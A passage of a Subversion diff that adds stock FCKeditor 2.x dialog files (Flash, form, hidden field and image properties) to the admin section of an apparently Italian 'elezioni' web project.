+		<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+		<meta content="noindex, nofollow" name="robots">
+		<script src="common/fck_dialog_common.js" type="text/javascript"></script>
+		<script src="fck_flash/fck_flash.js" type="text/javascript"></script>
+		<link href="common/fck_dialog_common.css" type="text/css" rel="stylesheet">
+	</head>
+	<body scroll="no" style="OVERFLOW: hidden">
+		<div id="divInfo">
+			<table cellSpacing="1" cellPadding="1" width="100%" border="0">
+				<tr>
+					<td>
+						<table cellSpacing="0" cellPadding="0" width="100%" border="0">
+							<tr>
+								<td width="100%"><span fckLang="DlgImgURL">URL</span>
+								</td>
+								<td id="tdBrowse" style="DISPLAY: none" noWrap rowSpan="2">&nbsp; <input id="btnBrowse" onclick="BrowseServer();" type="button" value="Browse Server" fckLang="DlgBtnBrowseServer">
+								</td>
+							</tr>
+							<tr>
+								<td vAlign="top"><input id="txtUrl" onblur="UpdatePreview();" style="width: 100%" type="text">
+								</td>
+							</tr>
+						</table>
+					</td>
+				</tr>
+				<TR>
+					<TD>
+						<table cellSpacing="0" cellPadding="0" border="0">
+							<TR>
+								<TD nowrap>
+									<span fckLang="DlgImgWidth">Width</span><br>
+									<input id="txtWidth" class="FCK__FieldNumeric" type="text" size="3">
+								</TD>
+								<TD>&nbsp;</TD>
+								<TD>
+									<span fckLang="DlgImgHeight">Height</span><br>
+									<input id="txtHeight" class="FCK__FieldNumeric" type="text" size="3">
+								</TD>
+							</TR>
+						</table>
+					</TD>
+				</TR>
+				<tr>
+					<td vAlign="top">
+						<table cellSpacing="0" cellPadding="0" width="100%" border="0">
+							<tr>
+								<td valign="top" width="100%">
+									<table cellSpacing="0" cellPadding="0" width="100%">
+										<tr>
+											<td><span fckLang="DlgImgPreview">Preview</span></td>
+										</tr>
+										<tr>
+											<td id="ePreviewCell" valign="top" class="FlashPreviewArea"><iframe src="fck_flash/fck_flash_preview.html" frameborder="0" marginheight="0" marginwidth="0"></iframe></td>
+										</tr>
+									</table>
+								</td>
+							</tr>
+						</table>
+					</td>
+				</tr>
+			</table>
+		</div>
+		<div id="divUpload" style="DISPLAY: none">
+			<form id="frmUpload" method="post" target="UploadWindow" enctype="multipart/form-data" action="" onsubmit="return CheckUpload();">
+				<span fckLang="DlgLnkUpload">Upload</span><br />
+				<input id="txtUploadFile" style="width: 100%" type="file" size="40" name="NewFile" /><br />
+				<br />
+				<input id="btnUpload" type="submit" value="Send it to the Server" fckLang="DlgLnkBtnUpload" />
+				<iframe name="UploadWindow" style="DISPLAY: none" src="../fckblank.html"></iframe> 
+			</form>
+		</div>
+		<div id="divAdvanced" style="DISPLAY: none">
+			<TABLE cellSpacing="0" cellPadding="0" border="0">
+				<TR>
+					<TD nowrap>
+						<span fckLang="DlgFlashScale">Scale</span><BR>
+						<select id="cmbScale">
+							<option value="" selected></option>
+							<option value="showall" fckLang="DlgFlashScaleAll">Show all</option>
+							<option value="noborder" fckLang="DlgFlashScaleNoBorder">No Border</option>
+							<option value="exactfit" fckLang="DlgFlashScaleFit">Exact Fit</option>
+						</select></TD>
+					<TD>&nbsp;&nbsp;&nbsp; &nbsp;
+					</TD>
+					<td valign="bottom">
+						<table>
+							<tr>
+								<td><input id="chkAutoPlay" type="checkbox" checked></td>
+								<td><label for="chkAutoPlay" nowrap fckLang="DlgFlashChkPlay">Auto Play</label>&nbsp;&nbsp;</td>
+								<td><input id="chkLoop" type="checkbox" checked></td>
+								<td><label for="chkLoop" nowrap fckLang="DlgFlashChkLoop">Loop</label>&nbsp;&nbsp;</td>
+								<td><input id="chkMenu" type="checkbox" checked></td>
+								<td><label for="chkMenu" nowrap fckLang="DlgFlashChkMenu">Enable Flash Menu</label></td>
+							</tr>
+						</table>
+					</td>
+				</TR>
+			</TABLE>
+			<br>
+			&nbsp;
+			<table cellSpacing="0" cellPadding="0" width="100%" align="center" border="0">
+				<tr>
+					<td vAlign="top" width="50%"><span fckLang="DlgGenId">Id</span><br>
+						<input id="txtAttId" style="width: 100%" type="text">
+					</td>
+					<td>&nbsp;&nbsp;</td>
+					<td vAlign="top" nowrap><span fckLang="DlgGenClass">Stylesheet Classes</span><br>
+						<input id="txtAttClasses" style="width: 100%" type="text">
+					</td>
+					<td>&nbsp;&nbsp;</td>
+					<td vAlign="top" nowrap width="50%">&nbsp;<span fckLang="DlgGenTitle">Advisory Title</span><br>
+						<input id="txtAttTitle" style="width: 100%" type="text">
+					</td>
+				</tr>
+			</table>
+			<span fckLang="DlgGenStyle">Style</span><br>
+			<input id="txtAttStyle" style="width: 100%" type="text">
+		</div>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_flash/fck_flash.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_flash/fck_flash.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_flash/fck_flash.js	(revision 44)
@@ -0,0 +1,284 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_flash.js
+ * 	Scripts related to the Flash dialog window (see fck_flash.html).
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var oEditor		= window.parent.InnerDialogLoaded() ;
+var FCK			= oEditor.FCK ;
+var FCKLang		= oEditor.FCKLang ;
+var FCKConfig	= oEditor.FCKConfig ;
+
+//#### Dialog Tabs
+
+// Set the dialog tabs.
+window.parent.AddTab( 'Info', oEditor.FCKLang.DlgInfoTab ) ;
+
+if ( FCKConfig.FlashUpload )
+	window.parent.AddTab( 'Upload', FCKLang.DlgLnkUpload ) ;
+
+if ( !FCKConfig.FlashDlgHideAdvanced )
+	window.parent.AddTab( 'Advanced', oEditor.FCKLang.DlgAdvancedTag ) ;
+
+// Function called when a dialog tag is selected.
+function OnDialogTabChange( tabCode )
+{
+	ShowE('divInfo'		, ( tabCode == 'Info' ) ) ;
+	ShowE('divUpload'	, ( tabCode == 'Upload' ) ) ;
+	ShowE('divAdvanced'	, ( tabCode == 'Advanced' ) ) ;
+}
+
+// Get the selected flash embed (if available).
+var oFakeImage = FCK.Selection.GetSelectedElement() ;
+var oEmbed ;
+
+if ( oFakeImage )
+{
+	if ( oFakeImage.tagName == 'IMG' && oFakeImage.getAttribute('_fckflash') )
+		oEmbed = FCK.GetRealElement( oFakeImage ) ;
+	else
+		oFakeImage = null ;
+}
+
+window.onload = function()
+{
+	// Translate the dialog box texts.
+	oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+	// Load the selected element information (if any).
+	LoadSelection() ;
+
+	// Show/Hide the "Browse Server" button.
+	GetE('tdBrowse').style.display = FCKConfig.FlashBrowser	? '' : 'none' ;
+
+	// Set the actual uploader URL.
+	if ( FCKConfig.FlashUpload )
+		GetE('frmUpload').action = FCKConfig.FlashUploadURL ;
+
+	window.parent.SetAutoSize( true ) ;
+
+	// Activate the "OK" button.
+	window.parent.SetOkButton( true ) ;
+}
+
+function LoadSelection()
+{
+	if ( ! oEmbed ) return ;
+
+	var sUrl = GetAttribute( oEmbed, 'src', '' ) ;
+
+	GetE('txtUrl').value    = GetAttribute( oEmbed, 'src', '' ) ;
+	GetE('txtWidth').value  = GetAttribute( oEmbed, 'width', '' ) ;
+	GetE('txtHeight').value = GetAttribute( oEmbed, 'height', '' ) ;
+
+	// Get Advances Attributes
+	GetE('txtAttId').value		= oEmbed.id ;
+	GetE('chkAutoPlay').checked	= GetAttribute( oEmbed, 'play', 'true' ) == 'true' ;
+	GetE('chkLoop').checked		= GetAttribute( oEmbed, 'loop', 'true' ) == 'true' ;
+	GetE('chkMenu').checked		= GetAttribute( oEmbed, 'menu', 'true' ) == 'true' ;
+	GetE('cmbScale').value		= GetAttribute( oEmbed, 'scale', '' ).toLowerCase() ;
+	
+	GetE('txtAttTitle').value		= oEmbed.title ;
+
+	if ( oEditor.FCKBrowserInfo.IsIE )
+	{
+		GetE('txtAttClasses').value = oEmbed.getAttribute('className') || '' ;
+		GetE('txtAttStyle').value = oEmbed.style.cssText ;
+	}
+	else
+	{
+		GetE('txtAttClasses').value = oEmbed.getAttribute('class',2) || '' ;
+		GetE('txtAttStyle').value = oEmbed.getAttribute('style',2) ;
+	}
+
+	UpdatePreview() ;
+}
+
+//#### The OK button was hit.
+function Ok()
+{
+	if ( GetE('txtUrl').value.length == 0 )
+	{
+		window.parent.SetSelectedTab( 'Info' ) ;
+		GetE('txtUrl').focus() ;
+
+		alert( oEditor.FCKLang.DlgAlertUrl ) ;
+
+		return false ;
+	}
+
+	if ( !oEmbed )
+	{
+		oEmbed		= FCK.EditorDocument.createElement( 'EMBED' ) ;
+		oFakeImage  = null ;
+	}
+	UpdateEmbed( oEmbed ) ;
+	
+	if ( !oFakeImage )
+	{
+		oFakeImage	= oEditor.FCKDocumentProcessor_CreateFakeImage( 'FCK__Flash', oEmbed ) ;
+		oFakeImage.setAttribute( '_fckflash', 'true', 0 ) ;
+		oFakeImage	= FCK.InsertElementAndGetIt( oFakeImage ) ;
+	}
+	else
+		oEditor.FCKUndo.SaveUndoStep() ;
+	
+	oEditor.FCKFlashProcessor.RefreshView( oFakeImage, oEmbed ) ;
+
+	return true ;
+}
+
+function UpdateEmbed( e )
+{
+	SetAttribute( e, 'type'			, 'application/x-shockwave-flash' ) ;
+	SetAttribute( e, 'pluginspage'	, 'http://www.macromedia.com/go/getflashplayer' ) ;
+
+	e.src = GetE('txtUrl').value ;
+	SetAttribute( e, "width" , GetE('txtWidth').value ) ;
+	SetAttribute( e, "height", GetE('txtHeight').value ) ;
+	
+	// Advances Attributes
+
+	SetAttribute( e, 'id'	, GetE('txtAttId').value ) ;
+	SetAttribute( e, 'scale', GetE('cmbScale').value ) ;
+	
+	SetAttribute( e, 'play', GetE('chkAutoPlay').checked ? 'true' : 'false' ) ;
+	SetAttribute( e, 'loop', GetE('chkLoop').checked ? 'true' : 'false' ) ;
+	SetAttribute( e, 'menu', GetE('chkMenu').checked ? 'true' : 'false' ) ;
+
+	SetAttribute( e, 'title'	, GetE('txtAttTitle').value ) ;
+
+	if ( oEditor.FCKBrowserInfo.IsIE )
+	{
+		SetAttribute( e, 'className', GetE('txtAttClasses').value ) ;
+		e.style.cssText = GetE('txtAttStyle').value ;
+	}
+	else
+	{
+		SetAttribute( e, 'class', GetE('txtAttClasses').value ) ;
+		SetAttribute( e, 'style', GetE('txtAttStyle').value ) ;
+	}
+}
+
+var ePreview ;
+
+function SetPreviewElement( previewEl )
+{
+	ePreview = previewEl ;
+	
+	if ( GetE('txtUrl').value.length > 0 )
+		UpdatePreview() ;
+}
+
+function UpdatePreview()
+{
+	if ( !ePreview )
+		return ;
+		
+	while ( ePreview.firstChild )
+		ePreview.removeChild( ePreview.firstChild ) ;
+
+	if ( GetE('txtUrl').value.length == 0 )
+		ePreview.innerHTML = '&nbsp;' ;
+	else
+	{
+		var oDoc	= ePreview.ownerDocument || ePreview.document ;
+		var e		= oDoc.createElement( 'EMBED' ) ;
+		
+		e.src		= GetE('txtUrl').value ;
+		e.type		= 'application/x-shockwave-flash' ;
+		e.width		= '100%' ;
+		e.height	= '100%' ;
+		
+		ePreview.appendChild( e ) ;
+	}
+}
+
+// <embed id="ePreview" src="fck_flash/claims.swf" width="100%" height="100%" style="visibility:hidden" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer">
+
+function BrowseServer()
+{
+	OpenFileBrowser( FCKConfig.FlashBrowserURL, FCKConfig.FlashBrowserWindowWidth, FCKConfig.FlashBrowserWindowHeight ) ;
+}
+
+function SetUrl( url, width, height )
+{
+	GetE('txtUrl').value = url ;
+	
+	if ( width )
+		GetE('txtWidth').value = width ;
+		
+	if ( height ) 
+		GetE('txtHeight').value = height ;
+
+	UpdatePreview() ;
+
+	window.parent.SetSelectedTab( 'Info' ) ;
+}
+
+function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg )
+{
+	switch ( errorNumber )
+	{
+		case 0 :	// No errors
+			alert( 'Your file has been successfully uploaded' ) ;
+			break ;
+		case 1 :	// Custom error
+			alert( customMsg ) ;
+			return ;
+		case 101 :	// Custom warning
+			alert( customMsg ) ;
+			break ;
+		case 201 :
+			alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
+			break ;
+		case 202 :
+			alert( 'Invalid file type' ) ;
+			return ;
+		case 203 :
+			alert( "Security error. You probably don't have enough permissions to upload. Please check your server." ) ;
+			return ;
+		default :
+			alert( 'Error on file upload. Error number: ' + errorNumber ) ;
+			return ;
+	}
+
+	SetUrl( fileUrl ) ;
+	GetE('frmUpload').reset() ;
+}
+
+var oUploadAllowedExtRegex	= new RegExp( FCKConfig.FlashUploadAllowedExtensions, 'i' ) ;
+var oUploadDeniedExtRegex	= new RegExp( FCKConfig.FlashUploadDeniedExtensions, 'i' ) ;
+
+function CheckUpload()
+{
+	var sFile = GetE('txtUploadFile').value ;
+	
+	if ( sFile.length == 0 )
+	{
+		alert( 'Please select a file to upload' ) ;
+		return false ;
+	}
+	
+	if ( ( FCKConfig.FlashUploadAllowedExtensions.length > 0 && !oUploadAllowedExtRegex.test( sFile ) ) ||
+		( FCKConfig.FlashUploadDeniedExtensions.length > 0 && oUploadDeniedExtRegex.test( sFile ) ) )
+	{
+		OnUploadCompleted( 202 ) ;
+		return false ;
+	}
+	
+	return true ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_flash/fck_flash_preview.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_flash/fck_flash_preview.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_flash/fck_flash_preview.html	(revision 44)
@@ -0,0 +1,42 @@
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_flash_preview.html
+ * 	Preview page for the Flash dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+	<head>
+		<title></title>
+		<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+		<meta name="robots" content="noindex, nofollow">
+		<link href="../common/fck_dialog_common.css" rel="stylesheet" type="text/css" />
+		<script language="javascript">
+
+// Sets the Skin CSS
+document.write( '<link href="' + window.parent.FCKConfig.SkinPath + 'fck_dialog.css" type="text/css" rel="stylesheet">' ) ;
+
+if ( window.parent.FCKConfig.BaseHref.length > 0 )
+	document.write( '<base href="' + window.parent.FCKConfig.BaseHref + '">' ) ;
+
+window.onload = function()
+{
+	window.parent.SetPreviewElement( document.body ) ;
+}
+
+		</script>
+	</head>
+	<body style="COLOR: #000000; BACKGROUND-COLOR: #ffffff"></body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_form.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_form.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_form.html	(revision 44)
@@ -0,0 +1,101 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_form.html
+ * 	Form dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title></title>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<meta content="noindex, nofollow" name="robots" />
+	<script src="common/fck_dialog_common.js" type="text/javascript"></script>
+	<script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.MoveToAncestorNode( 'FORM' ) ;
+
+window.onload = function()
+{
+	// First of all, translate the dialog box texts
+	oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+	if ( oActiveEl ) 
+	{
+		GetE('txtName').value	= oActiveEl.name ;
+		GetE('txtAction').value	= oActiveEl.getAttribute( 'action', 2 ) ;
+		GetE('txtMethod').value	= oActiveEl.method ;
+	}
+	else
+		oActiveEl = null ;
+
+	window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+	if ( !oActiveEl )
+	{
+		oActiveEl = oEditor.FCK.EditorDocument.createElement( 'FORM' ) ;
+		oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+		oActiveEl.innerHTML = '&nbsp;' ;
+	}
+	
+	oActiveEl.name = GetE('txtName').value ;
+	SetAttribute( oActiveEl, 'action'	, GetE('txtAction').value ) ;
+	oActiveEl.method = GetE('txtMethod').value ;
+
+	return true ;
+}
+
+	</script>
+</head>
+<body style="overflow: hidden">
+	<table width="100%" style="height: 100%">
+		<tr>
+			<td align="center">
+				<table cellspacing="0" cellpadding="0" width="80%" border="0">
+					<tr>
+						<td>
+							<span fcklang="DlgFormName">Name</span><br />
+							<input style="width: 100%" type="text" id="txtName" />
+						</td>
+					</tr>
+					<tr>
+						<td>
+							<span fcklang="DlgFormAction">Action</span><br />
+							<input style="width: 100%" type="text" id="txtAction" />
+						</td>
+					</tr>
+					<tr>
+						<td>
+							<span fcklang="DlgFormMethod">Method</span><br />
+							<select id="txtMethod">
+								<option value="get" selected="selected">GET</option>
+								<option value="post">POST</option>
+							</select>
+						</td>
+					</tr>
+				</table>
+			</td>
+		</tr>
+	</table>
+</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_hiddenfield.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_hiddenfield.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_hiddenfield.html	(revision 44)
@@ -0,0 +1,91 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_hiddenfield.html
+ * 	Hidden Field dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html>
+	<head>
+		<title>Hidden Field Properties</title>
+		<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+		<meta content="noindex, nofollow" name="robots">
+		<script src="common/fck_dialog_common.js" type="text/javascript"></script>
+		<script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.GetSelectedElement() ;
+
+window.onload = function()
+{
+	// First of all, translate the dialog box texts
+	oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+	if ( oActiveEl && oActiveEl.tagName == 'INPUT' && oActiveEl.type == 'hidden' ) 
+	{
+		GetE('txtName').value		= oActiveEl.name ;
+		GetE('txtValue').value		= oActiveEl.value ;
+	}
+	else
+		oActiveEl = null ;
+
+	window.parent.SetOkButton( true ) ;
+}	
+
+
+function Ok()
+{
+	if ( !oActiveEl )
+	{
+		oActiveEl = oEditor.FCK.EditorDocument.createElement( 'INPUT' ) ;
+		oActiveEl.type = 'hidden' ;
+		oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+	}
+	
+	oActiveEl.name = GetE('txtName').value ;
+	SetAttribute( oActiveEl, 'value', GetE('txtValue').value ) ;
+
+	return true ;
+}
+
+		</script>
+	</head>
+	<body style="OVERFLOW: hidden" scroll="no">
+		<table height="100%" width="100%">
+			<tr>
+				<td align="center">
+					<table border="0" class="inhoud" cellpadding="0" cellspacing="0" width="80%">
+						<tr>
+							<td>
+								<span fckLang="DlgHiddenName">Name</span><br>
+								<input type="text" size="20" id="txtName" style="width: 100%">
+							</td>
+						</tr>
+						<tr>
+							<td>
+								<span fckLang="DlgHiddenValue">Value</span><br>
+								<input type="text" size="30" id="txtValue" style="width: 100%">
+							</td>
+						</tr>
+					</table>
+				</td>
+			</tr>
+		</table>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_image.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_image.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_image.html	(revision 44)
@@ -0,0 +1,248 @@
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_image.html
+ * 	Image Properties dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title>Image Properties</title>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<meta name="robots" content="noindex, nofollow" />
+	<script src="common/fck_dialog_common.js" type="text/javascript"></script>
+	<script src="fck_image/fck_image.js" type="text/javascript"></script>
+	<link href="common/fck_dialog_common.css" rel="stylesheet" type="text/css" />
+</head>
+<body scroll="no" style="overflow: hidden">
+	<div id="divInfo">
+		<table cellspacing="1" cellpadding="1" border="0" width="100%" height="100%">
+			<tr>
+				<td>
+					<table cellspacing="0" cellpadding="0" width="100%" border="0">
+						<tr>
+							<td width="100%">
+								<span fcklang="DlgImgURL">URL</span>
+							</td>
+							<td id="tdBrowse" style="display: none" nowrap="nowrap" rowspan="2">
+								&nbsp;
+								<input id="btnBrowse" onclick="BrowseServer();" type="button" value="Browse Server"
+									fcklang="DlgBtnBrowseServer" />
+							</td>
+						</tr>
+						<tr>
+							<td valign="top">
+								<input id="txtUrl" style="width: 100%" type="text" onblur="UpdatePreview();" />
+							</td>
+						</tr>
+					</table>
+				</td>
+			</tr>
+			<tr>
+				<td>
+					<span fcklang="DlgImgAlt">Short Description</span><br />
+					<input id="txtAlt" style="width: 100%" type="text" /><br />
+				</td>
+			</tr>
+			<tr height="100%">
+				<td valign="top">
+					<table cellspacing="0" cellpadding="0" width="100%" border="0" height="100%">
+						<tr>
+							<td valign="top">
+								<br />
+								<table cellspacing="0" cellpadding="0" border="0">
+									<tr>
+										<td nowrap="nowrap">
+											<span fcklang="DlgImgWidth">Width</span>&nbsp;</td>
+										<td>
+											<input type="text" size="3" id="txtWidth" onkeyup="OnSizeChanged('Width',this.value);" /></td>
+										<td rowspan="2">
+											<div id="btnLockSizes" class="BtnLocked" onmouseover="this.className = (bLockRatio ? 'BtnLocked' : 'BtnUnlocked' ) + ' BtnOver';"
+												onmouseout="this.className = (bLockRatio ? 'BtnLocked' : 'BtnUnlocked' );" title="Lock Sizes"
+												onclick="SwitchLock(this);">
+											</div>
+										</td>
+										<td rowspan="2">
+											<div id="btnResetSize" class="BtnReset" onmouseover="this.className='BtnReset BtnOver';"
+												onmouseout="this.className='BtnReset';" title="Reset Size" onclick="ResetSizes();">
+											</div>
+										</td>
+									</tr>
+									<tr>
+										<td nowrap="nowrap">
+											<span fcklang="DlgImgHeight">Height</span>&nbsp;</td>
+										<td>
+											<input type="text" size="3" id="txtHeight" onkeyup="OnSizeChanged('Height',this.value);" /></td>
+									</tr>
+								</table>
+								<br />
+								<table cellspacing="0" cellpadding="0" border="0">
+									<tr>
+										<td nowrap="nowrap">
+											<span fcklang="DlgImgBorder">Border</span>&nbsp;</td>
+										<td>
+											<input type="text" size="2" value="" id="txtBorder" onkeyup="UpdatePreview();" /></td>
+									</tr>
+									<tr>
+										<td nowrap="nowrap">
+											<span fcklang="DlgImgHSpace">HSpace</span>&nbsp;</td>
+										<td>
+											<input type="text" size="2" id="txtHSpace" onkeyup="UpdatePreview();" /></td>
+									</tr>
+									<tr>
+										<td nowrap="nowrap">
+											<span fcklang="DlgImgVSpace">VSpace</span>&nbsp;</td>
+										<td>
+											<input type="text" size="2" id="txtVSpace" onkeyup="UpdatePreview();" /></td>
+									</tr>
+									<tr>
+										<td nowrap="nowrap">
+											<span fcklang="DlgImgAlign">Align</span>&nbsp;</td>
+										<td>
+											<select id="cmbAlign" onchange="UpdatePreview();">
+												<option value="" selected="selected"></option>
+												<option fcklang="DlgImgAlignLeft" value="left">Left</option>
+												<option fcklang="DlgImgAlignAbsBottom" value="absBottom">Abs Bottom</option>
+												<option fcklang="DlgImgAlignAbsMiddle" value="absMiddle">Abs Middle</option>
+												<option fcklang="DlgImgAlignBaseline" value="baseline">Baseline</option>
+												<option fcklang="DlgImgAlignBottom" value="bottom">Bottom</option>
+												<option fcklang="DlgImgAlignMiddle" value="middle">Middle</option>
+												<option fcklang="DlgImgAlignRight" value="right">Right</option>
+												<option fcklang="DlgImgAlignTextTop" value="textTop">Text Top</option>
+												<option fcklang="DlgImgAlignTop" value="top">Top</option>
+											</select>
+										</td>
+									</tr>
+								</table>
+							</td>
+							<td>
+								&nbsp;&nbsp;&nbsp;</td>
+							<td width="100%" valign="top">
+								<table cellpadding="0" cellspacing="0" width="100%" style="table-layout: fixed">
+									<tr>
+										<td>
+											<span fcklang="DlgImgPreview">Preview</span></td>
+									</tr>
+									<tr>
+										<td valign="top">
+											<iframe class="ImagePreviewArea" src="fck_image/fck_image_preview.html" frameborder="0"
+												marginheight="0" marginwidth="0"></iframe>
+										</td>
+									</tr>
+								</table>
+							</td>
+						</tr>
+					</table>
+				</td>
+			</tr>
+		</table>
+	</div>
+	<div id="divUpload" style="display: none">
+		<form id="frmUpload" method="post" target="UploadWindow" enctype="multipart/form-data"
+			action="" onsubmit="return CheckUpload();">
+			<span fcklang="DlgLnkUpload">Upload</span><br />
+			<input id="txtUploadFile" style="width: 100%" type="file" size="40" name="NewFile" /><br />
+			<br />
+			<input id="btnUpload" type="submit" value="Send it to the Server" fcklang="DlgLnkBtnUpload" />
+			<iframe name="UploadWindow" style="display: none" src="../fckblank.html"></iframe>
+		</form>
+	</div>
+	<div id="divLink" style="display: none">
+		<table cellspacing="1" cellpadding="1" border="0" width="100%">
+			<tr>
+				<td>
+					<div>
+						<span fcklang="DlgLnkURL">URL</span><br />
+						<input id="txtLnkUrl" style="width: 100%" type="text" onblur="UpdatePreview();" />
+					</div>
+					<div id="divLnkBrowseServer" align="right">
+						<input type="button" value="Browse Server" fcklang="DlgBtnBrowseServer" onclick="LnkBrowseServer();" />
+					</div>
+					<div>
+						<span fcklang="DlgLnkTarget">Target</span><br />
+						<select id="cmbLnkTarget">
+							<option value="" fcklang="DlgGenNotSet" selected="selected">&lt;not set&gt;</option>
+							<option value="_blank" fcklang="DlgLnkTargetBlank">New Window (_blank)</option>
+							<option value="_top" fcklang="DlgLnkTargetTop">Topmost Window (_top)</option>
+							<option value="_self" fcklang="DlgLnkTargetSelf">Same Window (_self)</option>
+							<option value="_parent" fcklang="DlgLnkTargetParent">Parent Window (_parent)</option>
+						</select>
+					</div>
+				</td>
+			</tr>
+		</table>
+	</div>
+	<div id="divAdvanced" style="display: none">
+		<table cellspacing="0" cellpadding="0" width="100%" align="center" border="0">
+			<tr>
+				<td valign="top" width="50%">
+					<span fcklang="DlgGenId">Id</span><br />
+					<input id="txtAttId" style="width: 100%" type="text" />
+				</td>
+				<td width="1">
+					&nbsp;&nbsp;</td>
+				<td valign="top">
+					<table cellspacing="0" cellpadding="0" width="100%" align="center" border="0">
+						<tr>
+							<td width="60%">
+								<span fcklang="DlgGenLangDir">Language Direction</span><br />
+								<select id="cmbAttLangDir" style="width: 100%">
+									<option value="" fcklang="DlgGenNotSet" selected="selected">&lt;not set&gt;</option>
+									<option value="ltr" fcklang="DlgGenLangDirLtr">Left to Right (LTR)</option>
+									<option value="rtl" fcklang="DlgGenLangDirRtl">Right to Left (RTL)</option>
+								</select>
+							</td>
+							<td width="1%">
+								&nbsp;&nbsp;</td>
+							<td nowrap="nowrap">
+								<span fcklang="DlgGenLangCode">Language Code</span><br />
+								<input id="txtAttLangCode" style="width: 100%" type="text" />&nbsp;
+							</td>
+						</tr>
+					</table>
+				</td>
+			</tr>
+			<tr>
+				<td colspan="3">
+					&nbsp;</td>
+			</tr>
+			<tr>
+				<td colspan="3">
